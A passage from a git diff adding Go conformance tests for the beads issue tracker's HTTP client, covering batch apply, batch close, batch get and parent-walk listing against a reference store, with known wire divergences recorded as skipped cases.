*testing.T) { + conformance.RunBatchApplyNormalizesTheWaitsForGate(t, t.Context(), newServedBatchApplyFixture(t, "hba1c")) +} + +// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed parks on the edge item's +// spawner flag. The case's second half, an edge that names no spawner, is what +// this wire writes for every waits-for edge; its first half is the item the +// client refuses. +func TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T) { + skipKnownDivergence(t, "W-DepAddItem.HasSpawner", applyParkBead, + "the case names a spawner on a waits-for edge (DepAddItem.HasSpawner), and ApplyDepAddItem publishes no "+ + "spawner member, so the client refuses the item rather than letting the server store the edge without "+ + "the spawner_id the role would stamp from its resolved target.") + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, t.Context(), newServedBatchApplyFixture(t, "hba27")) +} + +func TestServedBatchApplySplicesAForwardMetadataRef(t *testing.T) { + conformance.RunBatchApplySplicesAForwardMetadataRef(t, t.Context(), newServedBatchApplyFixture(t, "hba1d")) +} + +func TestServedBatchApplySplicesASelfMetadataRef(t *testing.T) { + conformance.RunBatchApplySplicesASelfMetadataRef(t, t.Context(), newServedBatchApplyFixture(t, "hba1e")) +} + +// TestServedBatchApplyRefusesAMetadataRefNoItemDeclares is the family's +// response-shape park, a divergence of shape rather than of behavior: the +// refusal happens, nothing is written, and the diagnosis a caller ACTS on — +// DeclaredLater — arrives whole. What the wire cannot carry is WHICH entry of +// the refs map failed. +func TestServedBatchApplyRefusesAMetadataRefNoItemDeclares(t *testing.T) { + skipKnownDivergence(t, "L-apply-ref", applyParkBead, + "the case binds RefError.Member to `metadata_ref `, and the wire names the MEMBER that held the bad ref "+ + "(`items[0].create.metadata_refs`) without saying which entry of it failed — RefError.Member is diagnostic "+ + "prose on both sides rather than a vocabulary, so the server maps it onto the document's own member names. "+ + "The refusal itself, the untouched tables and the false DeclaredLater are asserted by "+ + "TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey.") + // The call stays BELOW the skip and compiled, which is this package's park + // convention and is load-bearing rather than decorative: a parked case that + // only named its contract in prose is a dangling reference nothing + // type-checks, so a renamed entrypoint or a changed fixture would orphan the + // park silently. Here it breaks the build. + conformance.RunBatchApplyRefusesAMetadataRefNoItemDeclares(t, t.Context(), newServedBatchApplyFixture(t, "hba1f")) +} + +func TestServedBatchApplyTheSpliceRecordsAnUpdateEvent(t *testing.T) { + conformance.RunBatchApplyTheSpliceRecordsAnUpdateEvent(t, t.Context(), newServedBatchApplyFixture(t, "hba20")) +} + +func TestServedBatchApplyKeepsAStoredNullApartFromAnEmptyString(t *testing.T) { + conformance.RunBatchApplyKeepsAStoredNullApartFromAnEmptyString(t, t.Context(), newServedBatchApplyFixture(t, "hba21")) +} + +func TestServedBatchApplyLandsAnIdempotencyRecordWithItsWork(t *testing.T) { + conformance.RunBatchApplyLandsAnIdempotencyRecordWithItsWork(t, t.Context(), newServedBatchApplyFixture(t, "hba22")) +} + +func TestServedBatchApplyBoundsTheItemCount(t *testing.T) { + fixture := newServedBatchApplyFixture(t, "hba23") + if raceEnabled { + // Under -race the full 1000-item apply outlasts the client's 60s + // per-request timeout (wire.DefaultTimeout) on the embedded lane's + // executors, so only the "at bound" half's applied count drops, to + // 150 (the whole case then took 26s there), as the embedded tier's + // own TestBatchApplyContract does; see + // RunBatchApplyBoundsTheItemCountAtScale for what that leaves pinned. + // The refusing half still sends MaxApplyBatchItems+1 over the wire, + // and scripts/conformance.sh runs the full size without -race. + conformance.RunBatchApplyBoundsTheItemCountAtScale(t, t.Context(), fixture, 150) + return + } + conformance.RunBatchApplyBoundsTheItemCount(t, t.Context(), fixture) +} + +func TestServedBatchApplyReplayMintsANewSetOfRows(t *testing.T) { + conformance.RunBatchApplyReplayMintsANewSetOfRows(t, t.Context(), newServedBatchApplyFixture(t, "hba24")) +} + +func TestServedBatchApplyDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunBatchApplyDoesNotMutateTheCallerRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba25")) +} + +func TestServedBatchApplyRefusesAnUnusableRequest(t *testing.T) { + conformance.RunBatchApplyRefusesAnUnusableRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba26")) +} + +// TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey is the running pin +// beside the park above: the same request, driven end to end, asserting +// everything the contract asserts EXCEPT the key inside the member — the +// refusal is a *RefError matching ErrValidation, DeclaredLater is false, the +// item is named, and nothing was written. +// +// It is written so it CAN fail: the positive half re-runs the identical plan +// with the ref pointed at a key the request does declare, and the row lands +// with the resolved id spliced over the metadata key. A client that refused +// every metadata ref would pass the refusal half alone. +func TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey(t *testing.T) { + ctx := t.Context() + fixture := newServedBatchApplyFixture(t, "hbaref") + + id := fixture.IssuePrefix + "-ghostmeta-row" + item := issueops.ApplyItem{Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "only", + Issue: &issueops.Issue{ID: id, Title: "names a key nothing declares", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + MetadataRefs: map[string]issueops.Ref{"gc.retry_of": {Key: "never-declared"}}, + }} + + _, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, Items: []issueops.ApplyItem{item}, + }) + var refErr *issueops.RefError + if !errors.As(err, &refErr) { + t.Fatalf("a metadata_ref naming an undeclared key: error = %v, want *RefError", err) + } + if refErr.DeclaredLater { + t.Errorf("RefError = %#v, want DeclaredLater false: no item declares that key at all", refErr) + } + if refErr.Index != 0 { + t.Errorf("RefError.Index = %d, want 0", refErr.Index) + } + if refErr.Key != "never-declared" { + t.Errorf("RefError.Key = %q, want the unresolvable key", refErr.Key) + } + // The degraded half, asserted rather than left implicit: the member is + // named without the key inside it (L-apply-ref). Asserting it here is what + // makes the ledger row falsifiable — the day the wire carries the key, this + // fails and the park retires with it. + if refErr.Member != "metadata_refs" { + t.Errorf("RefError.Member = %q, want the member alone; L-apply-ref records that the key is not on the wire", refErr.Member) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("error = %v, want ErrValidation through RefError.Unwrap", err) + } + var rows int + if err := fixture.QueryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE id = ?", []any{id}, &rows); err != nil { + t.Fatalf("counting the refused row: %v", err) + } + if rows != 0 { + t.Errorf("the refused plan wrote %s anyway", id) + } + + // The positive half. The identical plan with the ref pointed at a key the + // request DOES declare lands, and the splice writes the resolved id. + peer := fixture.IssuePrefix + "-ghostmeta-peer" + item.Create.MetadataRefs = map[string]issueops.Ref{"gc.retry_of": {Key: "peer"}} + if _, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, + Items: []issueops.ApplyItem{item, {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "peer", + Issue: &issueops.Issue{ID: peer, Title: "the key it names", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + }}}, + }); err != nil { + t.Fatalf("the same plan with a declared key refused: %v", err) + } + var metadata string + if err := fixture.QueryScalar(ctx, "SELECT COALESCE(metadata, '') FROM issues WHERE id = ?", []any{id}, &metadata); err != nil { + t.Fatalf("reading the spliced metadata: %v", err) + } + if !strings.Contains(metadata, peer) { + t.Errorf("metadata = %q, want the resolved id %s spliced over gc.retry_of", metadata, peer) + } +} + +// TestServedBatchApplyStampsEachCreateItemsCreatedByFromTheActor is the served +// half of created_by on the plan: ApplyCreateItem publishes no created_by, so +// the stored creator exists only because the server stamps it from the actor +// (internal/httpapi's batch_apply.go). A create item whose CreatedBy names that +// actor — the shape the graph apply sends — is carried by the stamp rather than +// refused. +func TestServedBatchApplyStampsEachCreateItemsCreatedByFromTheActor(t *testing.T) { + ctx := t.Context() + env := newServedEnv(t, "hbacby") + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + + res, err := applier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "plan-writer", + Items: []issueops.ApplyItem{{Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "planned", + Issue: &issueops.Issue{Title: "planned", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, CreatedBy: "plan-writer"}, + }}}, + }) + if err != nil { + t.Fatalf("ApplyBatch in the graph apply's shape = %v, want it served", err) + } + id := res.Keys["planned"] + if id == "" { + t.Fatalf("Keys = %v, want the minted id bound to %q", res.Keys, "planned") + } + stored, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + if stored.CreatedBy != "plan-writer" { + t.Errorf("stored created_by = %q, want the actor %q", stored.CreatedBy, "plan-writer") + } +} + +// TestServedBatchApplyAnswersEveryItemWithoutASnapshot is the running pin on +// ledger row L-apply-snapshot, and it is a DIFFERENTIAL rather than a golden: +// the same plan is applied through the client and through the reference +// store's own role, and the two results are compared member for member EXCEPT +// the snapshot. What the row admits — that Issue is nil on this leg — is +// asserted beside a local run where it is not, so the divergence is measured +// rather than declared. +// +// The positive half is the whole comparison: a client that answered an empty +// result, or dropped a revision, or lost the edge's DependsOnID, would satisfy +// "no snapshot" and fail here. +func TestServedBatchApplyAnswersEveryItemWithoutASnapshot(t *testing.T) { + ctx := t.Context() + env := newServedEnv(t, "hbasnap") + remote, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + local, err := env.reference.BatchApplier() + if err != nil { + t.Fatalf("reference BatchApplier(): %v", err) + } + + plan := func(tag string) issueops.ApplyBatchRequest { + root := env.prefix + "-snap-" + tag + "-root" + leaf := env.prefix + "-snap-" + tag + "-leaf" + issue := func(id string) *issueops.Issue { + return &issueops.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + } + return issueops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "root", Issue: issue(root)}}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "leaf", Issue: issue(leaf)}}, + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "leaf"}, Target: issueops.Ref{Key: "root"}, Type: types.DepParentChild, + }}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{Key: "leaf"}, Reason: "done"}}, + }, + } + } + + through, err := remote.ApplyBatch(ctx, plan("wire")) + if err != nil { + t.Fatalf("ApplyBatch over the wire: %v", err) + } + beside, err := local.ApplyBatch(ctx, plan("local")) + if err != nil { + t.Fatalf("ApplyBatch through the reference store: %v", err) + } + + if len(through.Items) != len(beside.Items) { + t.Fatalf("the wire answered %d items and the reference %d", len(through.Items), len(beside.Items)) + } + if len(through.Keys) != len(beside.Keys) { + t.Errorf("the wire bound %d keys and the reference %d", len(through.Keys), len(beside.Keys)) + } + for key, id := range through.Keys { + if id == "" { + t.Errorf("Keys[%q] is empty; the key binding is the one fact the request cannot carry", key) + } + } + for i := range through.Items { + remoteItem, localItem := through.Items[i], beside.Items[i] + if remoteItem.Kind != localItem.Kind || remoteItem.Changed != localItem.Changed { + t.Errorf("items[%d]: wire %s/changed=%v, reference %s/changed=%v", + i, remoteItem.Kind, remoteItem.Changed, localItem.Kind, localItem.Changed) + } + if (remoteItem.DependsOnID == "") != (localItem.DependsOnID == "") { + t.Errorf("items[%d]: wire DependsOnID %q, reference %q — the edge target is set for dep_add and absent elsewhere", + i, remoteItem.DependsOnID, localItem.DependsOnID) + } + if (remoteItem.RowVersion == 0) != (localItem.RowVersion == 0) { + t.Errorf("items[%d]: wire revision %d, reference %d — a dep_add is 0 on both and a row item is not on either", + i, remoteItem.RowVersion, localItem.RowVersion) + } + // The divergence the row admits, measured in both directions at once. + if remoteItem.Issue != nil { + t.Errorf("items[%d] came back with a snapshot; the wire result is lean (L-apply-snapshot)", i) + } + if localItem.Kind != issueops.ItemDepAdd && localItem.Issue == nil { + t.Errorf("items[%d] carries no snapshot on the REFERENCE leg either; this case would then be asserting "+ + "nothing about the divergence L-apply-snapshot records", i) + } + } +} diff --git a/internal/httpclient/served_batch_close_test.go b/internal/httpclient/served_batch_close_test.go new file mode 100644 index 000000000..11b9a5145 --- /dev/null +++ b/internal/httpclient/served_batch_close_test.go @@ -0,0 +1,170 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_batch_close_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The BatchCloser contract against the served surface. +// +// The client sends the whole CloseBatchRequest on one issues:batchClose call, +// and the reference store answers with the per-item outcomes. The transactional +// ClaimNext the storage-level contract composes onto CloseBatch has NO v0 wire +// expression: BatchCloseRequest/BatchCloseResponse publish no +// claim_next/claimed_next member, so the client refuses any non-nil +// req.ClaimNext (D8 refuse-not-drop) rather than silently dropping the claim. +// The seven cases that exercise a real ClaimNext are parked with +// skipKnownDivergence citing W-CloseBatchRequest.ClaimNext; everything else — +// including the two cases that merely validate a ClaimNext filter's shape +// before any capability question is reached — runs for real. +// +// Seeding still never goes through the client: every fixture takes its seed and +// post-state hooks from the reference store the server serves, and binds only the +// BatchCloser under test to the http client (checkFixtureBinding). + +func newServedBatchCloserFixture(t *testing.T, prefix string) conformance.BatchCloserFixture { + t.Helper() + env := newServedEnv(t, prefix) + closer, err := env.subject.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + return conformance.BatchCloserFixture{ + IssuePrefix: env.prefix, + Closer: closer, + CreateIssue: env.createIssue, + AddDependency: env.addDependency, + CreateWisp: env.createWisp, + AddComment: env.reference.AddComment, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + // The message-scoped hook the wisp-naming case needs. Without it that + // case skips as UNPINNED, which is a weaker claim than this tier can + // make: the reference store behind the composition is embedded Dolt, so + // its log is readable BY MESSAGE and the clause is checkable here. + CountHistoryMatching: env.countHistoryMatching, + } +} + +func TestServedBatchCloserOutcomeSnapshotIsTheDocumentedShape(t *testing.T) { + conformance.RunBatchCloserOutcomeSnapshotIsTheDocumentedShape(t, t.Context(), newServedBatchCloserFixture(t, "hbcsnap")) +} + +func TestServedBatchCloserBackendFailureReturnsNoOutcomes(t *testing.T) { + conformance.RunBatchCloserBackendFailureReturnsNoOutcomes(t, t.Context(), newServedBatchCloserFixture(t, "hbcfail")) +} + +func TestServedBatchCloserOutcomesMirrorItemsIndexForIndex(t *testing.T) { + conformance.RunBatchCloserOutcomesMirrorItemsIndexForIndex(t, t.Context(), newServedBatchCloserFixture(t, "hbcmir")) +} + +func TestServedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit(t *testing.T) { + conformance.RunBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit(t, t.Context(), newServedBatchCloserFixture(t, "hbcperitem")) +} + +func TestServedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing(t *testing.T) { + conformance.RunBatchCloserRequestValidationReturnsZeroResultAndChangesNothing(t, t.Context(), newServedBatchCloserFixture(t, "hbcval")) +} + +func TestServedBatchCloserClaimFilterValueFailureIsARequestValidationFailure(t *testing.T) { + conformance.RunBatchCloserClaimFilterValueFailureIsARequestValidationFailure(t, t.Context(), newServedBatchCloserFixture(t, "hbccfilt")) +} + +func TestServedBatchCloserIdempotentRecloseIsAPerItemSuccess(t *testing.T) { + conformance.RunBatchCloserIdempotentRecloseIsAPerItemSuccess(t, t.Context(), newServedBatchCloserFixture(t, "hbcidem")) +} + +func TestServedBatchCloserAllIdempotentBatchLandsNothing(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case drives a real ClaimNext through CloseBatch; the v0 wire's "+ + "BatchCloseRequest/BatchCloseResponse publish no claim_next/claimed_next "+ + "member, so the client refuses it (D8 refuse-not-drop) rather than silently "+ + "dropping the claim") + conformance.RunBatchCloserAllIdempotentBatchLandsNothing(t, t.Context(), newServedBatchCloserFixture(t, "hbcallid")) +} + +func TestServedBatchCloserDuplicateItemRecloseAtItsOwnIndex(t *testing.T) { + conformance.RunBatchCloserDuplicateItemRecloseAtItsOwnIndex(t, t.Context(), newServedBatchCloserFixture(t, "hbcdup")) +} + +func TestServedBatchCloserWispItemClosesAndEarnsTheClaim(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case asserts the wisp close earns a real ClaimNext; the v0 wire has no "+ + "claim_next/claimed_next member on BatchClose, so the client refuses the "+ + "request rather than earning a claim it cannot report back") + conformance.RunBatchCloserWispItemClosesAndEarnsTheClaim(t, t.Context(), newServedBatchCloserFixture(t, "hbcwisp")) +} + +func TestServedBatchCloserDurableHistoryNeverNamesAWisp(t *testing.T) { + conformance.RunBatchCloserDurableHistoryNeverNamesAWisp(t, t.Context(), newServedBatchCloserFixture(t, "hbcwhist")) +} + +func TestServedBatchCloserForceBypassesOnlyClosePolicy(t *testing.T) { + conformance.RunBatchCloserForceBypassesOnlyClosePolicy(t, t.Context(), newServedBatchCloserFixture(t, "hbcforce")) +} + +func TestServedBatchCloserClaimNextHydratesWhenSomethingClosed(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case needs CloseBatch to hydrate a real ClaimNext result; the v0 wire "+ + "carries no claim_next/claimed_next member, so the client refuses rather "+ + "than hydrating a claim from nothing") + conformance.RunBatchCloserClaimNextHydratesWhenSomethingClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbccnhy")) +} + +func TestServedBatchCloserClaimNextIsNilWhenNothingClosed(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case asserts a nil ClaimedNext after a real ClaimNext request landed "+ + "nothing to close; the v0 wire has no member to carry the request at all, "+ + "so the client refuses it before the nil-vs-populated question is reachable") + conformance.RunBatchCloserClaimNextIsNilWhenNothingClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbccnno")) +} + +func TestServedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "same as the other ClaimNext-on-CloseBatch cases: the v0 wire has no "+ + "claim_next/claimed_next member, so the client refuses the request") + conformance.RunBatchCloserClaimNextIsNilWhenTheFrontIsEmpty(t, t.Context(), newServedBatchCloserFixture(t, "hbccnempty")) +} + +func TestServedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case needs the batch's own unblocking to be visible to a ClaimNext run "+ + "in the same request; the v0 wire cannot carry ClaimNext on CloseBatch at "+ + "all, so the client refuses before the ordering question is reachable") + conformance.RunBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch(t, t.Context(), newServedBatchCloserFixture(t, "hbccnunb")) +} + +func TestServedBatchCloserRecordsOneHistoryEntryForWhatLanded(t *testing.T) { + conformance.RunBatchCloserRecordsOneHistoryEntryForWhatLanded(t, t.Context(), newServedBatchCloserFixture(t, "hbc1hist")) +} + +func TestServedBatchCloserAllRefusedBatchRecordsNoHistory(t *testing.T) { + conformance.RunBatchCloserAllRefusedBatchRecordsNoHistory(t, t.Context(), newServedBatchCloserFixture(t, "hbcnohist")) +} + +func TestServedBatchCloserDoesNotMutateTheCallerRequest(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case populates req.ClaimNext with a real ready filter and closes for "+ + "real to prove the caller's request pointer survives untouched; the v0 "+ + "wire cannot carry ClaimNext on CloseBatch, so the client refuses before "+ + "any closing happens") + conformance.RunBatchCloserDoesNotMutateTheCallerRequest(t, t.Context(), newServedBatchCloserFixture(t, "hbcnomut")) +} + +// TestServedBatchCloserSettlesTheDependersOfWhatItClosed is the blocked-state +// postcondition, and the only case here whose observable is a column no read on +// this surface hydrates — so it goes to the reference store directly. +// +// It is the batch's own version of the clause the single close carries, and the +// batch is where it is easiest to get wrong: two items land in ONE transaction, +// so a body that settled per item, or settled only the items it walked last, +// leaves a depender of the first item marked blocked by a row that is closed. +func TestServedBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { + conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbcbs")) +} diff --git a/internal/httpclient/served_batch_getter_test.go b/internal/httpclient/served_batch_getter_test.go new file mode 100644 index 000000000..746167eb0 --- /dev/null +++ b/internal/httpclient/served_batch_getter_test.go @@ -0,0 +1,63 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_batch_getter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The BatchGetter contract, run through the http client against a real bd +// serve. +// +// This is the role behind gc's ready veto and the CLI's own id-resolution +// passes once they move off one Get per id: a caller names up to +// issueops.MaxGetManyIDs ids and gets back every one the store holds, +// hydrated and in request order, plus a Missing sentinel for every id that +// named no row. The cap and the blank-id checks are refused CLIENT-SIDE, in +// checkGetManyIDs, before the dial — batch_get.go's failBatchGetErr collapses +// every validation failure on this surface into one generic, +// code-less InvalidArgument, so a round trip could never hand this client +// back the typed *issueops.TooManyIDsError the RefusesOverTheCap case +// requires. +func TestServedBatchGetterContract(t *testing.T) { + e := newServedEnv(t, "bge") + getter, err := e.subject.BatchGetter() + if err != nil { + t.Fatalf("BatchGetter(): %v", err) + } + fixture := conformance.BatchGetterFixture{ + IssuePrefix: "bge", + BatchGetter: getter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.BatchGetterFixture) + }{ + {"FindsRequestedIssues", conformance.RunBatchGetterFindsRequestedIssues}, + {"ReportsMissingIDs", conformance.RunBatchGetterReportsMissingIDs}, + {"CollapsesRepeatedIDs", conformance.RunBatchGetterCollapsesRepeatedIDs}, + {"AnswersInRequestOrder", conformance.RunBatchGetterAnswersInRequestOrder}, + {"ResolvesIDsExactly", conformance.RunBatchGetterResolvesIDsExactly}, + {"AnswersAnEmptyRequest", conformance.RunBatchGetterAnswersAnEmptyRequest}, + {"RefusesAnUnusableRequest", conformance.RunBatchGetterRefusesAnUnusableRequest}, + {"RefusesOverTheCap", conformance.RunBatchGetterRefusesOverTheCap}, + {"AcceptsExactlyTheCap", conformance.RunBatchGetterAcceptsExactlyTheCap}, + {"HydratesLabels", conformance.RunBatchGetterHydratesLabels}, + {"LeavesTheRequestAlone", conformance.RunBatchGetterLeavesTheRequestAlone}, + {"SharesOneReadStructurally", conformance.RunBatchGetterSharesOneReadStructurally}, + {"CrossesBothPlanes", conformance.RunBatchGetterCrossesBothPlanes}, + {"WritesNothing", conformance.RunBatchGetterWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_bridge_test.go b/internal/httpclient/served_bridge_test.go new file mode 100644 index 000000000..a09854ae5 --- /dev/null +++ b/internal/httpclient/served_bridge_test.go @@ -0,0 +1,664 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_bridge_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The off-role text-path bridge, run as a DUAL RUN: the same question asked of +// the reference store directly and of the http client, and the two answers +// compared. +// +// That is the only form in which D4's parent-walk inversion can be believed. The +// encode gate proves the parameters round-trip through the server's own decoder; +// what it cannot prove is that the ROWS come back the same, because the derived +// exclusions the inversion inverts are applied by a query neither side of that +// gate runs. Here both sides run it. +// +// The fixtures are the spec's own pin list: the default rendering, `--all`, the +// `--include-*` variants, and a residual refusal. + +// seedWalkTree plants a two-level tree plus the rows the derived defaults are +// supposed to hide: a closed child, a template child and a gate child. +func seedWalkTree(t *testing.T, ctx context.Context, e *servedEnv) { + t.Helper() + rows := []*types.Issue{ + {ID: "wlk-root", Title: "root", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "wlk-open", Title: "open child", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "wlk-deep", Title: "grandchild", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "wlk-closed", Title: "closed child", Status: types.StatusClosed, IssueType: types.TypeTask}, + {ID: "wlk-template", Title: "template child", Status: types.StatusOpen, IssueType: types.TypeTask, IsTemplate: true}, + {ID: "wlk-gate", Title: "gate child", Status: types.StatusOpen, IssueType: types.IssueType("gate")}, + } + for _, row := range rows { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + for _, edge := range []*types.Dependency{ + {IssueID: "wlk-open", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-closed", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-template", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-gate", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-deep", DependsOnID: "wlk-open", Type: types.DepParentChild}, + } { + if err := e.addDependency(ctx, edge, "seed"); err != nil { + t.Fatalf("seed edge %s: %v", edge.IssueID, err) + } + } +} + +// walkOverBoth runs one level of the walk against both stores. +// +// It reproduces findAllDescendants' own mutation exactly — a value copy of the +// built filter with ParentID re-pointed and Limit zeroed — because the whole +// question is whether the filter the CLI hands the store crosses intact. +func walkOverBoth(t *testing.T, ctx context.Context, e *servedEnv, in issueops.ListRequest, parent string) (local, remote []string, remoteErr error) { + t.Helper() + cfg, err := workapi.LoadStoreListConfig(ctx, e.reference) + if err != nil { + t.Fatalf("load the reference vocabulary: %v", err) + } + filter, err := workapi.BuildListFilter(in, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + filter.ParentID = &parent + filter.Limit = 0 + // Every text rendering of `bd list` sets this, so the filter under test is + // the one the walk really receives. + filter.SkipCounts = true + + localRows, err := e.reference.SearchIssues(ctx, "", filter) + if err != nil { + t.Fatalf("reference SearchIssues: %v", err) + } + remoteRows, remoteErr := e.subject.SearchIssues(ctx, "", filter) + return issueIDs(localRows), issueIDs(remoteRows), remoteErr +} + +func issueIDs(rows []*types.Issue) []string { + out := make([]string, 0, len(rows)) + for _, row := range rows { + out = append(out, row.ID) + } + sort.Strings(out) + return out +} + +// TestTheParentWalkAnswersTheSameRowsOverHTTP is the dual run D4's pin list asks +// for. +func TestTheParentWalkAnswersTheSameRowsOverHTTP(t *testing.T) { + e := newServedEnv(t, "wlk") + ctx := t.Context() + seedWalkTree(t, ctx, e) + + for _, tc := range []struct { + name string + in issueops.ListRequest + want []string + }{ + { + // The fixture D4 exists for: a bare `bd list --parent `, whose + // filter carries ExcludeStatus, Pinned, IsTemplate, the gate and + // infra exclusions and SkipWisps — none of which the wire publishes, + // and all of which the server re-derives from their own absence. It + // fails outright if the inversion is wrong in either direction. + name: "the default text rendering", + in: issueops.ListRequest{}, + want: []string{"wlk-open"}, + }, + { + name: "--all admits the closed child", + in: issueops.ListRequest{AllFlag: true}, + want: []string{"wlk-closed", "wlk-open"}, + }, + { + name: "--include-templates admits the template child", + in: issueops.ListRequest{IncludeTemplates: true}, + want: []string{"wlk-open", "wlk-template"}, + }, + { + name: "--include-gates admits the gate child", + in: issueops.ListRequest{IncludeGates: true}, + want: []string{"wlk-gate", "wlk-open"}, + }, + { + name: "--status closed selects only the closed child", + in: issueops.ListRequest{Status: "closed"}, + want: []string{"wlk-closed"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + local, remote, err := walkOverBoth(t, ctx, e, tc.in, "wlk-root") + if err != nil { + t.Fatalf("the http walk refused: %v", err) + } + if !equalIDs(local, tc.want) { + t.Fatalf("the REFERENCE answered %v, the fixture expects %v — the fixture is wrong, not the client", local, tc.want) + } + if !equalIDs(remote, local) { + t.Errorf("http answered %v, the reference answered %v", remote, local) + } + }) + } +} + +// TestTheParentWalkRefusesAResidualOverHTTP is the residual-refusal case from +// the same pin list, run end to end: the refusal has to happen in the client, +// before a request that would answer a wider question is built. +func TestTheParentWalkRefusesAResidualOverHTTP(t *testing.T) { + e := newServedEnv(t, "wlr") + ctx := t.Context() + seedWalkTree(t, ctx, e) + + _, _, err := walkOverBoth(t, ctx, e, issueops.ListRequest{ExcludeTypes: []string{"chore"}}, "wlk-root") + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("a --exclude-type walk returned %v, want a refusal", err) + } + var refusal *encode.RefusedError + if errors.As(err, &refusal) && refusal.Row.ID != "P-IssueFilter.ExcludeTypes" { + t.Errorf("the refusal cites %q, want P-IssueFilter.ExcludeTypes", refusal.Row.ID) + } +} + +// TestTheReadyBridgeAnswersTheSameRowsOverHTTP is the other half of the text +// bridge: `bd ready`'s listing, which is still raw at tip. +// +// It feeds the filter workapi.BuildReadyFilter actually builds — Status=StatusOpen +// and all — rather than a hand-built WorkFilter{}. That hand-built shape, whose +// empty status the reference store reads as open+in_progress, is exactly what +// masked the ship blocker: the pre-fix bridge refused the StatusOpen every real +// `bd ready` carries, and a fixture that never sent one could not see it. The +// seeded in_progress row makes the open-only derivation observable. +func 